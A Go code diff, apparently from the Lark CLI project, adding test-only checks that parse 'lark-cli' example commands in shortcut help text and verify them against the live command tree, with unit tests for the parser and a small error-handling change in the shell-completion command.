func (c *catalog) paths() []string {
|
||||
out := make([]string, 0, len(c.flagsByPath))
|
||||
for p := range c.flagsByPath {
|
||||
out = append(out, p)
|
||||
}
|
||||
sort.Strings(out)
|
||||
return out
|
||||
}
|
||||
|
||||
// suggestCommand returns the known command path closest to want (small edit
|
||||
// distance), for error hints. Returns "" when nothing is reasonably close.
|
||||
func (c *catalog) suggestCommand(want string) string {
|
||||
if c.sorted == nil {
|
||||
c.sorted = c.paths() // built once after the catalog is fully populated
|
||||
}
|
||||
return closest(want, c.sorted)
|
||||
}
|
||||
|
||||
// suggestFlag returns the flag of path closest to flag, for error hints.
|
||||
func (c *catalog) suggestFlag(path, flag string) string {
|
||||
set := c.flagsByPath[path]
|
||||
cands := make([]string, 0, len(set))
|
||||
for f := range set {
|
||||
cands = append(cands, f)
|
||||
}
|
||||
sort.Strings(cands)
|
||||
return closest(flag, cands)
|
||||
}
|
||||
|
||||
// closest returns the candidate with the smallest Levenshtein distance to want,
|
||||
// but only if that distance is within a tolerance scaled to want's length
|
||||
// (avoids absurd suggestions).
|
||||
func closest(want string, cands []string) string {
|
||||
best := ""
|
||||
bestD := 1 << 30
|
||||
for _, cand := range cands {
|
||||
d := levenshtein(want, cand)
|
||||
if d < bestD {
|
||||
bestD, best = d, cand
|
||||
}
|
||||
}
|
||||
tol := len(want)/2 + 1
|
||||
if bestD > tol {
|
||||
return ""
|
||||
}
|
||||
return best
|
||||
}
|
||||
|
||||
func levenshtein(a, b string) int {
|
||||
ra, rb := []rune(a), []rune(b)
|
||||
prev := make([]int, len(rb)+1)
|
||||
for j := range prev {
|
||||
prev[j] = j
|
||||
}
|
||||
for i := 1; i <= len(ra); i++ {
|
||||
cur := make([]int, len(rb)+1)
|
||||
cur[0] = i
|
||||
for j := 1; j <= len(rb); j++ {
|
||||
cost := 1
|
||||
if ra[i-1] == rb[j-1] {
|
||||
cost = 0
|
||||
}
|
||||
cur[j] = min(prev[j]+1, cur[j-1]+1, prev[j-1]+cost)
|
||||
}
|
||||
prev = cur
|
||||
}
|
||||
return prev[len(rb)]
|
||||
}
|
||||
60
cmd/cmdexample_check_test.go
Normal file
60
cmd/cmdexample_check_test.go
Normal file
@@ -0,0 +1,60 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package cmd_test
|
||||
|
||||
import "strings"
|
||||
|
||||
// Finding kinds.
|
||||
const (
|
||||
unknownCommand = "unknown_command"
|
||||
unknownFlag = "unknown_flag"
|
||||
)
|
||||
|
||||
// finding is a single mismatch between an example command reference and the
|
||||
// catalog.
|
||||
type finding struct {
|
||||
line int
|
||||
raw string
|
||||
kind string // unknownCommand | unknownFlag
|
||||
path string // resolved command path (unknownFlag) or attempted path (unknownCommand)
|
||||
flag string // offending flag (unknownFlag only)
|
||||
suggest string // nearest known command/flag, "" if none close
|
||||
}
|
||||
|
||||
// checkRefs validates refs against cat and returns all mismatches in order.
|
||||
func checkRefs(cat *catalog, refs []ref) []finding {
|
||||
var out []finding
|
||||
for _, r := range refs {
|
||||
path, n, ok := cat.longestPrefix(r.words)
|
||||
if !ok {
|
||||
attempted := strings.Join(r.words, " ")
|
||||
out = append(out, finding{
|
||||
line: r.line, raw: r.raw, kind: unknownCommand,
|
||||
path: attempted, suggest: cat.suggestCommand(attempted),
|
||||
})
|
||||
continue
|
||||
}
|
||||
// Leftover words after a group node are an unknown subcommand (e.g. a
|
||||
// mistyped method like "batch_modify_message"). After a leaf they are
|
||||
// positionals (e.g. "api GET /path"), so only groups trigger this.
|
||||
if n < len(r.words) && cat.isGroup(path) {
|
||||
attempted := strings.Join(r.words, " ")
|
||||
out = append(out, finding{
|
||||
line: r.line, raw: r.raw, kind: unknownCommand,
|
||||
path: attempted, suggest: cat.suggestCommand(attempted),
|
||||
})
|
||||
continue
|
||||
}
|
||||
for _, f := range r.flags {
|
||||
if cat.hasFlag(path, f) {
|
||||
continue
|
||||
}
|
||||
out = append(out, finding{
|
||||
line: r.line, raw: r.raw, kind: unknownFlag,
|
||||
path: path, flag: f, suggest: cat.suggestFlag(path, f),
|
||||
})
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
222
cmd/cmdexample_parse_test.go
Normal file
222
cmd/cmdexample_parse_test.go
Normal file
@@ -0,0 +1,222 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package cmd_test
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ref is one lark-cli command reference extracted from a shortcut example.
|
||||
type ref struct {
|
||||
line int // 1-based line number (the line where the command starts)
|
||||
raw string // reconstructed command text, for error display
|
||||
words []string // command words before the first flag (subcommand candidates)
|
||||
flags []string // flag tokens used, e.g. "--query", "-q"
|
||||
}
|
||||
|
||||
const cliToken = "lark-cli"
|
||||
|
||||
// subcommandStart guards against false positives from prose: a real command's
|
||||
// first word is ASCII (a service name or a +shortcut). A token starting with
|
||||
// CJK / punctuation is treated as narration, not a command.
|
||||
var subcommandStart = regexp.MustCompile(`^[A-Za-z+]`)
|
||||
|
||||
// shellStops are standalone tokens that terminate a command (pipes, redirects,
|
||||
// separators). Separators glued to a token (`get;`, `foo|`) are handled inline.
|
||||
var shellStops = map[string]bool{
|
||||
"|": true, "||": true, "&&": true, "&": true, ";": true,
|
||||
">": true, ">>": true, "<": true, "2>": true, "2>&1": true,
|
||||
}
|
||||
|
||||
// wordTrailPunct is sentence / CJK punctuation that can cling to a command word
|
||||
// in prose ("auth login." / "auth login,"); stripped so the word still resolves
|
||||
// instead of being dropped as an unknown command or non-ASCII narration.
|
||||
const wordTrailPunct = `.,;:!?"')]},。、;:!?)】」』`
|
||||
|
||||
// parseRefs extracts every lark-cli command reference from text (a shortcut's
|
||||
// Tips line, which may embed an "Example: lark-cli ..." command). It is
|
||||
// deliberately format-agnostic: it keys on the "lark-cli" token whether it sits
|
||||
// in a ```bash fence, an inline `code` span, or bare prose. Backslash
|
||||
// line-continuations are joined first so a multi-line invocation is parsed as
|
||||
// one command; inline-code backticks and trailing # comments terminate it.
|
||||
func parseRefs(content string) []ref {
|
||||
var refs []ref
|
||||
lines := strings.Split(content, "\n")
|
||||
for i := 0; i < len(lines); i++ {
|
||||
lineNo := i + 1
|
||||
logical := lines[i]
|
||||
// Shell line continuation: a trailing backslash joins the next physical
|
||||
// line. Without this, flags on the continuation lines of a multi-line
|
||||
// `lark-cli ... \` example are never seen by the checker.
|
||||
for endsWithBackslash(logical) && i+1 < len(lines) {
|
||||
logical = strings.TrimRight(logical, " \t")
|
||||
logical = logical[:len(logical)-1] // drop the trailing backslash
|
||||
i++
|
||||
logical += " " + lines[i]
|
||||
}
|
||||
refs = append(refs, parseLine(logical, lineNo)...)
|
||||
}
|
||||
return refs
|
||||
}
|
||||
|
||||
func endsWithBackslash(s string) bool {
|
||||
return strings.HasSuffix(strings.TrimRight(s, " \t"), `\`)
|
||||
}
|
||||
|
||||
func parseLine(line string, lineNo int) []ref {
|
||||
var refs []ref
|
||||
rest := line
|
||||
for {
|
||||
idx := strings.Index(rest, cliToken)
|
||||
if idx < 0 {
|
||||
break
|
||||
}
|
||||
after := rest[idx+len(cliToken):]
|
||||
beforeOK := idx == 0 || isBoundary(rest[idx-1])
|
||||
afterOK := after == "" || isBoundary(after[0])
|
||||
if beforeOK && afterOK {
|
||||
if words, flags, raw, ok := parseCmd(after); ok {
|
||||
refs = append(refs, ref{line: lineNo, raw: cliToken + raw, words: words, flags: flags})
|
||||
}
|
||||
}
|
||||
rest = after
|
||||
}
|
||||
return refs
|
||||
}
|
||||
|
||||
// parseCmd tokenizes the text following "lark-cli" into leading command words
|
||||
// (the subcommand path, up to the first flag) and flag tokens. It stops at a
|
||||
// shell separator (standalone or glued), an inline-code backtick, a comment, or
|
||||
// a placeholder/prose word. ok=false filters out non-commands.
|
||||
func parseCmd(after string) (words, flags []string, raw string, ok bool) {
|
||||
// An inline code span ends at the next backtick; a command never spans one.
|
||||
if i := strings.IndexByte(after, '`'); i >= 0 {
|
||||
after = after[:i]
|
||||
}
|
||||
// Drop $(...) command substitutions so flags belonging to the inner command
|
||||
// (e.g. `--data "$(jq -n --arg x ...)"`) are not mistaken for lark-cli flags.
|
||||
after = stripCmdSubst(after)
|
||||
|
||||
var kept []string
|
||||
inFlags := false
|
||||
for _, orig := range strings.Fields(after) {
|
||||
tok := orig
|
||||
if shellStops[tok] || strings.HasPrefix(tok, "#") {
|
||||
break
|
||||
}
|
||||
// A shell separator glued to a token ends the command mid-token
|
||||
// ("get;", "foo|next"): keep the part before it, handle it, then stop.
|
||||
stop := false
|
||||
if i := strings.IndexAny(tok, ";|"); i >= 0 {
|
||||
tok, stop = tok[:i], true
|
||||
}
|
||||
switch {
|
||||
case tok == "" || tok == "-":
|
||||
// empty (after a glued separator) or a bare stdin marker — skip
|
||||
case strings.HasPrefix(tok, "-"):
|
||||
if f := normalizeFlag(tok); f != "" {
|
||||
inFlags = true
|
||||
flags = append(flags, f)
|
||||
kept = append(kept, tok)
|
||||
}
|
||||
case inFlags:
|
||||
// positional / flag value after the first flag — not a command word
|
||||
kept = append(kept, tok)
|
||||
default:
|
||||
// Command-path word. ASCII placeholder markers (<x>, [x], {x|y},
|
||||
// +<verb>, ...) end the command — checked on the RAW token so the
|
||||
// trailing-punct stripping below cannot erase a "..." ellipsis
|
||||
// ("base +..." must stay a placeholder, not become "+").
|
||||
if strings.ContainsAny(tok, "<>[]{}|") || strings.Contains(tok, "...") {
|
||||
stop = true
|
||||
break
|
||||
}
|
||||
// Strip trailing sentence/CJK punctuation so "login." / "login,"
|
||||
// resolve to "login"; non-ASCII narration ends the command.
|
||||
w := strings.TrimRight(tok, wordTrailPunct)
|
||||
if w == "" || hasNonASCII(w) {
|
||||
stop = true
|
||||
break
|
||||
}
|
||||
words = append(words, w)
|
||||
kept = append(kept, tok)
|
||||
}
|
||||
if stop {
|
||||
break
|
||||
}
|
||||
}
|
||||
if len(kept) > 0 {
|
||||
raw = " " + strings.Join(kept, " ")
|
||||
}
|
||||
// Keep root-only refs ("lark-cli --help") and refs whose first word looks
|
||||
// like a subcommand; drop prose ("lark-cli 就能搞定 ...").
|
||||
if len(words) == 0 {
|
||||
return words, flags, raw, len(flags) > 0
|
||||
}
|
||||
if !subcommandStart.MatchString(words[0]) {
|
||||
return nil, nil, "", false
|
||||
}
|
||||
return words, flags, raw, true
|
||||
}
|
||||
|
||||
// stripCmdSubst removes $(...) command substitutions (including nested ones)
|
||||
// from s, leaving the surrounding text intact. Backtick substitutions are
|
||||
// already handled upstream (a command never spans a backtick).
|
||||
func stripCmdSubst(s string) string {
|
||||
var b strings.Builder
|
||||
depth := 0
|
||||
for i := 0; i < len(s); i++ {
|
||||
if depth == 0 && i+1 < len(s) && s[i] == '$' && s[i+1] == '(' {
|
||||
depth = 1
|
||||
i++ // skip '('
|
||||
continue
|
||||
}
|
||||
if depth > 0 {
|
||||
switch s[i] {
|
||||
case '(':
|
||||
depth++
|
||||
case ')':
|
||||
depth--
|
||||
}
|
||||
continue
|
||||
}
|
||||
b.WriteByte(s[i])
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
// isPlaceholderOrProse reports whether a command word is a doc placeholder
|
||||
// (<resource>, [flags], {a|b}, +<verb>, ...) or narration (CJK / other
|
||||
// non-ASCII), rather than a literal command token.
|
||||
func isPlaceholderOrProse(w string) bool {
|
||||
if hasNonASCII(w) {
|
||||
return true
|
||||
}
|
||||
return strings.ContainsAny(w, "<>[]{}|") || strings.Contains(w, "...")
|
||||
}
|
||||
|
||||
func hasNonASCII(s string) bool {
|
||||
return strings.IndexFunc(s, func(r rune) bool { return r > 127 }) >= 0
|
||||
}
|
||||
|
||||
// flagShape matches the leading flag token, stripping any trailing junk such as
|
||||
// a "=value" suffix or punctuation that bled in from the surrounding markdown
|
||||
// ("--help\"", "--help;", "--params={}"). The underscore is allowed because
|
||||
// real flags use it ("--input_format", "--output_as"). Returns "" for non-flags.
|
||||
var flagShape = regexp.MustCompile(`^--?[A-Za-z][A-Za-z0-9_-]*`)
|
||||
|
||||
// normalizeFlag extracts the canonical flag token from tok, or "" if tok is not
|
||||
// a real flag (e.g. a shell-string fragment like "-草稿'").
|
||||
func normalizeFlag(tok string) string {
|
||||
return flagShape.FindString(tok)
|
||||
}
|
||||
|
||||
func isBoundary(b byte) bool {
|
||||
switch b {
|
||||
case ' ', '\t', '`', '(', ')', '\'', '"', '*':
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
113
cmd/cmdexample_test.go
Normal file
113
cmd/cmdexample_test.go
Normal file
@@ -0,0 +1,113 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
// This file and its cmdexample_*_test.go siblings implement a test-only check:
|
||||
// the example commands embedded in shortcut definitions (the "Example: lark-cli
|
||||
// ..." lines in each shortcut's Tips, shown in --help) must match the real
|
||||
// command tree. It lives entirely in _test.go files (package cmd_test) so it
|
||||
// ships in no binary and is not importable by product code; the truth source is
|
||||
// cmd.Build, the same tree the binary uses, so the check cannot drift.
|
||||
//
|
||||
// It runs in the standard unit-test CI job (go test ./cmd/...). A mismatch — an
|
||||
// example using a renamed command or an unaccepted flag — fails that job.
|
||||
|
||||
package cmd_test
|
||||
|
||||
import (
|
||||
"context"
|
||||
"sort"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/cmd"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/shortcuts"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
// TestShortcutExampleCommands checks the example commands embedded in every
|
||||
// shortcut's Tips against the live command tree. A shortcut that defines no
|
||||
// example is simply skipped.
|
||||
//
|
||||
// Because the examples and the command definitions live in the same Go code,
|
||||
// this is a self-consistency check: any mismatch (an example using a renamed
|
||||
// command or a flag the command doesn't accept) is a bug to fix at the source.
|
||||
// It runs over all shortcuts — no baseline, no diff — since a wrong example is
|
||||
// always a defect, never acceptable "pre-existing drift".
|
||||
func TestShortcutExampleCommands(t *testing.T) {
|
||||
// Reproducibility: use the embedded API metadata (not a developer's stale
|
||||
// ~/.lark-cli remote cache, which can miss commands) and an empty config
|
||||
// dir so local strict mode / plugins / policy cannot reshape the tree.
|
||||
// t.Setenv auto-restores after the test, so other cmd tests are unaffected.
|
||||
t.Setenv("LARKSUITE_CLI_REMOTE_META", "off")
|
||||
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
|
||||
|
||||
cat := buildCmdExampleCatalog()
|
||||
|
||||
type located struct {
|
||||
shortcut string
|
||||
f finding
|
||||
}
|
||||
var findings []located
|
||||
for _, sc := range shortcuts.AllShortcuts() {
|
||||
var refs []ref
|
||||
for _, tip := range sc.Tips {
|
||||
refs = append(refs, parseRefs(tip)...)
|
||||
}
|
||||
label := strings.TrimSpace(sc.Service + " " + sc.Command)
|
||||
for _, f := range checkRefs(cat, refs) {
|
||||
findings = append(findings, located{shortcut: label, f: f})
|
||||
}
|
||||
}
|
||||
|
||||
if len(findings) == 0 {
|
||||
return
|
||||
}
|
||||
sort.Slice(findings, func(i, j int) bool { return findings[i].shortcut < findings[j].shortcut })
|
||||
for _, lf := range findings {
|
||||
hint := ""
|
||||
if lf.f.suggest != "" {
|
||||
hint = " (did you mean " + lf.f.suggest + "?)"
|
||||
}
|
||||
if lf.f.kind == unknownFlag {
|
||||
t.Errorf("shortcut %q example uses unknown flag %s on %q%s\n %s",
|
||||
lf.shortcut, lf.f.flag, lf.f.path, hint, strings.TrimSpace(lf.f.raw))
|
||||
} else {
|
||||
t.Errorf("shortcut %q example uses unknown command %q%s\n %s",
|
||||
lf.shortcut, lf.f.path, hint, strings.TrimSpace(lf.f.raw))
|
||||
}
|
||||
}
|
||||
t.Fatalf("%d shortcut example command(s) don't match the real CLI — "+
|
||||
"fix the Example in the shortcut definition.", len(findings))
|
||||
}
|
||||
|
||||
// buildCmdExampleCatalog walks the live cobra command tree and records every
|
||||
// command path (minus the "lark-cli" root prefix) with its accepted flags and
|
||||
// whether it is a parent group. This is the same Build() the binary uses, so
|
||||
// the catalog can never drift from the real commands.
|
||||
func buildCmdExampleCatalog() *catalog {
|
||||
root := cmd.Build(context.Background(), cmdutil.InvocationContext{})
|
||||
cat := newCatalog()
|
||||
var walk func(c *cobra.Command)
|
||||
walk = func(c *cobra.Command) {
|
||||
path := strings.TrimSpace(strings.TrimPrefix(c.CommandPath(), "lark-cli"))
|
||||
var flags []string
|
||||
add := func(fl *pflag.Flag) {
|
||||
flags = append(flags, "--"+fl.Name)
|
||||
if fl.Shorthand != "" {
|
||||
flags = append(flags, "-"+fl.Shorthand)
|
||||
}
|
||||
}
|
||||
c.Flags().VisitAll(add)
|
||||
c.InheritedFlags().VisitAll(add)
|
||||
c.PersistentFlags().VisitAll(add) // root's own persistent flags (e.g. --profile)
|
||||
cat.addCommand(path, flags)
|
||||
cat.setGroup(path, c.HasSubCommands())
|
||||
for _, sub := range c.Commands() {
|
||||
walk(sub)
|
||||
}
|
||||
}
|
||||
walk(root)
|
||||
return cat
|
||||
}
|
||||
233
cmd/cmdexample_units_test.go
Normal file
233
cmd/cmdexample_units_test.go
Normal file
@@ -0,0 +1,233 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package cmd_test
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func testCatalog() *catalog {
|
||||
c := newCatalog()
|
||||
c.addCommand("", []string{"--profile"}) // root
|
||||
c.setGroup("", true)
|
||||
c.addCommand("contact", []string{"--profile"})
|
||||
c.setGroup("contact", true)
|
||||
c.addCommand("contact +search-user", []string{"--query", "--as", "--format", "-q"})
|
||||
c.addCommand("api", []string{"--params", "--data", "--as"}) // leaf (no subcommands)
|
||||
c.addCommand("mail", nil)
|
||||
c.setGroup("mail", true)
|
||||
c.addCommand("mail user_mailbox.messages", []string{"--profile"})
|
||||
c.setGroup("mail user_mailbox.messages", true)
|
||||
c.addCommand("mail user_mailbox.messages batch_modify", []string{"--params", "--data"})
|
||||
return c
|
||||
}
|
||||
|
||||
func TestCmdExampleCatalogHasCommandAndFlag(t *testing.T) {
|
||||
c := testCatalog()
|
||||
if !c.hasCommand("contact +search-user") {
|
||||
t.Fatal("expected contact +search-user to exist")
|
||||
}
|
||||
if c.hasCommand("contact +nope") {
|
||||
t.Fatal("did not expect contact +nope")
|
||||
}
|
||||
if !c.hasFlag("contact +search-user", "--query") {
|
||||
t.Fatal("--query should be valid")
|
||||
}
|
||||
if c.hasFlag("contact +search-user", "--nope") {
|
||||
t.Fatal("--nope should be invalid")
|
||||
}
|
||||
// universal flags pass on any command
|
||||
for _, f := range []string{"--help", "-h", "--version"} {
|
||||
if !c.hasFlag("contact +search-user", f) {
|
||||
t.Fatalf("universal flag %s should pass", f)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestCmdExampleLongestPrefix(t *testing.T) {
|
||||
c := testCatalog()
|
||||
tests := []struct {
|
||||
words []string
|
||||
want string
|
||||
wantN int
|
||||
wantOK bool
|
||||
}{
|
||||
{[]string{"contact", "+search-user"}, "contact +search-user", 2, true},
|
||||
{[]string{"api", "GET", "/open-apis/x"}, "api", 1, true}, // trailing positionals
|
||||
{[]string{"nope"}, "", 0, false},
|
||||
{nil, "", 0, true}, // empty -> root
|
||||
}
|
||||
for _, tt := range tests {
|
||||
got, n, ok := c.longestPrefix(tt.words)
|
||||
if got != tt.want || n != tt.wantN || ok != tt.wantOK {
|
||||
t.Errorf("longestPrefix(%v) = (%q,%d,%v), want (%q,%d,%v)",
|
||||
tt.words, got, n, ok, tt.want, tt.wantN, tt.wantOK)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func refWordsOf(refs []ref) [][]string {
|
||||
var out [][]string
|
||||
for _, r := range refs {
|
||||
out = append(out, r.words)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func TestCmdExampleParseRefsExtractsCommands(t *testing.T) {
|
||||
content := strings.Join([]string{
|
||||
"运行 `lark-cli contact +search-user --query 张三` 搜索", // inline code
|
||||
"```bash",
|
||||
"lark-cli api GET /open-apis/x --params '{}'", // bash block
|
||||
"```",
|
||||
"用 lark-cli mail user_mailbox.messages batch_modify 即可", // bare prose command
|
||||
"npx foo | lark-cli api GET /y", // after a pipe
|
||||
}, "\n")
|
||||
refs := parseRefs(content)
|
||||
if len(refs) != 4 {
|
||||
t.Fatalf("expected 4 refs, got %d: %v", len(refs), refWordsOf(refs))
|
||||
}
|
||||
if got := refs[0]; strings.Join(got.words, " ") != "contact +search-user" ||
|
||||
len(got.flags) != 1 || got.flags[0] != "--query" {
|
||||
t.Errorf("ref0 = %+v", got)
|
||||
}
|
||||
if got := refs[1]; strings.Join(got.words, " ") != "api GET /open-apis/x" {
|
||||
t.Errorf("ref1 words = %v", got.words)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCmdExampleParseRefsFiltersPlaceholdersAndProse(t *testing.T) {
|
||||
// A line whose first word is prose yields no command at all.
|
||||
if refs := parseRefs("lark-cli 就能搞定这件事"); len(refs) != 0 {
|
||||
t.Errorf("prose-first line should yield 0 refs, got %v", refWordsOf(refs))
|
||||
}
|
||||
// Syntax templates / trailing prose may leave a real leading word ("mail"),
|
||||
// but no placeholder or CJK token may leak into the command words — that is
|
||||
// what prevents false positives like an "<resource>" unknown-command report.
|
||||
for _, line := range []string{
|
||||
"lark-cli mail <resource> <method> [flags]",
|
||||
"lark-cli apps +<verb> [flags]",
|
||||
"lark-cli base +...",
|
||||
"lark-cli mail 写信场景下的格式说明",
|
||||
} {
|
||||
for _, r := range parseRefs(line) {
|
||||
for _, w := range r.words {
|
||||
if isPlaceholderOrProse(w) {
|
||||
t.Errorf("%q: placeholder/prose token %q leaked into words %v", line, w, r.words)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestCmdExampleParseRefsStripsTrailingJunk(t *testing.T) {
|
||||
// frontmatter-style quoted value: the trailing quote must not bleed into the flag
|
||||
refs := parseRefs(`cliHelp: "lark-cli contact --help"`)
|
||||
if len(refs) != 1 {
|
||||
t.Fatalf("expected 1 ref, got %d", len(refs))
|
||||
}
|
||||
if len(refs[0].flags) != 1 || refs[0].flags[0] != "--help" {
|
||||
t.Errorf("expected flag --help, got %v", refs[0].flags)
|
||||
}
|
||||
// bare "-" (stdin marker) and "=value" suffix
|
||||
refs = parseRefs("lark-cli api GET /x --params={} --data -")
|
||||
if len(refs) != 1 {
|
||||
t.Fatalf("expected 1 ref, got %d", len(refs))
|
||||
}
|
||||
flags := strings.Join(refs[0].flags, " ")
|
||||
if flags != "--params --data" {
|
||||
t.Errorf("expected '--params --data', got %q", flags)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCmdExampleCheck(t *testing.T) {
|
||||
c := testCatalog()
|
||||
tests := []struct {
|
||||
name string
|
||||
r ref
|
||||
wantKind string // "" = no finding
|
||||
wantPath string
|
||||
}{
|
||||
{"valid shortcut", ref{words: []string{"contact", "+search-user"}, flags: []string{"--query"}}, "", ""},
|
||||
{"valid leaf positional", ref{words: []string{"api", "GET", "/x"}}, "", ""},
|
||||
{"unknown top command", ref{words: []string{"nope"}}, unknownCommand, "nope"},
|
||||
{"group leftover = unknown subcommand",
|
||||
ref{words: []string{"mail", "user_mailbox.messages", "batch_modify_message"}},
|
||||
unknownCommand, "mail user_mailbox.messages batch_modify_message"},
|
||||
{"unknown flag", ref{words: []string{"contact", "+search-user"}, flags: []string{"--nope"}}, unknownFlag, "contact +search-user"},
|
||||
{"universal flag ok", ref{words: []string{"contact", "+search-user"}, flags: []string{"--help"}}, "", ""},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
fs := checkRefs(c, []ref{tt.r})
|
||||
if tt.wantKind == "" {
|
||||
if len(fs) != 0 {
|
||||
t.Fatalf("expected no finding, got %+v", fs)
|
||||
}
|
||||
return
|
||||
}
|
||||
if len(fs) != 1 {
|
||||
t.Fatalf("expected 1 finding, got %d: %+v", len(fs), fs)
|
||||
}
|
||||
if fs[0].kind != tt.wantKind || fs[0].path != tt.wantPath {
|
||||
t.Errorf("got kind=%s path=%q, want kind=%s path=%q", fs[0].kind, fs[0].path, tt.wantKind, tt.wantPath)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestCmdExampleCheckSuggestsNearest(t *testing.T) {
|
||||
c := testCatalog()
|
||||
fs := checkRefs(c, []ref{{words: []string{"mail", "user_mailbox.messages", "batch_modify_message"}}})
|
||||
if len(fs) != 1 || fs[0].suggest != "mail user_mailbox.messages batch_modify" {
|
||||
t.Fatalf("expected suggestion 'mail user_mailbox.messages batch_modify', got %+v", fs)
|
||||
}
|
||||
}
|
||||
|
||||
// TestCmdExampleParseRefsRobustness covers the parser edge cases hardened after
|
||||
// review: backslash continuation, underscore flags, $(...) substitution, glued
|
||||
// separators, trailing punctuation, and the "..." placeholder.
|
||||
func TestCmdExampleParseRefsRobustness(t *testing.T) {
|
||||
cases := []struct {
|
||||
name, content, wantWords, wantFlags string
|
||||
wantRefs int
|
||||
}{
|
||||
{"backslash continuation joins flags",
|
||||
"lark-cli contact +search-user \\\n --query foo \\\n --as user",
|
||||
"contact +search-user", "--query --as", 1},
|
||||
{"underscore flag not truncated",
|
||||
"lark-cli whiteboard +update --input_format mermaid",
|
||||
"whiteboard +update", "--input_format", 1},
|
||||
{"command-substitution flags ignored",
|
||||
`lark-cli slides x create --data "$(jq -n --arg c '{}')" --as user`,
|
||||
"slides x create", "--data --as", 1},
|
||||
{"glued separator truncates",
|
||||
"lark-cli auth login; echo done",
|
||||
"auth login", "", 1},
|
||||
{"trailing CJK punctuation stripped",
|
||||
"用 lark-cli auth login。",
|
||||
"auth login", "", 1},
|
||||
{"ellipsis placeholder stays placeholder",
|
||||
"lark-cli base +...",
|
||||
"base", "", 1},
|
||||
}
|
||||
for _, tt := range cases {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
refs := parseRefs(tt.content)
|
||||
if len(refs) != tt.wantRefs {
|
||||
t.Fatalf("refs=%d want %d: %v", len(refs), tt.wantRefs, refWordsOf(refs))
|
||||
}
|
||||
if tt.wantRefs == 0 {
|
||||
return
|
||||
}
|
||||
if got := strings.Join(refs[0].words, " "); got != tt.wantWords {
|
||||
t.Errorf("words=%q want %q", got, tt.wantWords)
|
||||
}
|
||||
if got := strings.Join(refs[0].flags, " "); got != tt.wantFlags {
|
||||
t.Errorf("flags=%q want %q", got, tt.wantFlags)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
52
cmd/command_catalog_path_test.go
Normal file
52
cmd/command_catalog_path_test.go
Normal file
@@ -0,0 +1,52 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"reflect"
|
||||
"testing"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// TestCommandCatalogPath pins that the auth-hint path reconstruction inverts the
|
||||
// service command tree for any depth — flat dotted resources AND genuinely
|
||||
// nested resources — so it round-trips through apicatalog.Resolve instead of
|
||||
// assuming a fixed root->service->resource->method shape.
|
||||
func TestCommandCatalogPath(t *testing.T) {
|
||||
chain := func(names ...string) *cobra.Command {
|
||||
var parent, leaf *cobra.Command
|
||||
for _, n := range names {
|
||||
c := &cobra.Command{Use: n}
|
||||
if parent != nil {
|
||||
parent.AddCommand(c)
|
||||
}
|
||||
parent = c
|
||||
leaf = c
|
||||
}
|
||||
return leaf
|
||||
}
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
leaf *cobra.Command
|
||||
want []string
|
||||
}{
|
||||
{"flat dotted resource", chain("lark-cli", "im", "chat.members", "create"), []string{"im", "chat.members", "create"}},
|
||||
{"nested resources", chain("lark-cli", "im", "spaces", "items", "get"), []string{"im", "spaces", "items", "get"}},
|
||||
{"service level", chain("lark-cli", "im"), []string{"im"}},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
if got := commandCatalogPath(tt.leaf); !reflect.DeepEqual(got, tt.want) {
|
||||
t.Errorf("commandCatalogPath = %v, want %v", got, tt.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// The root command (no parent) has no catalog path.
|
||||
if got := commandCatalogPath(&cobra.Command{Use: "lark-cli"}); len(got) != 0 {
|
||||
t.Errorf("root path = %v, want empty", got)
|
||||
}
|
||||
}
|
||||
@@ -4,8 +4,7 @@
|
||||
package completion
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
@@ -32,7 +31,9 @@ func NewCmdCompletion(f *cmdutil.Factory) *cobra.Command {
|
||||
case "powershell":
|
||||
return root.GenPowerShellCompletionWithDesc(out)
|
||||
default:
|
||||
return fmt.Errorf("unsupported shell: %s", args[0])
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"unsupported shell: %s", args[0]).
|
||||
WithHint("supported shells: bash, zsh, fish, powershell")
|
||||
}
|
||||
},
|
||||
}
|
||||
|
||||
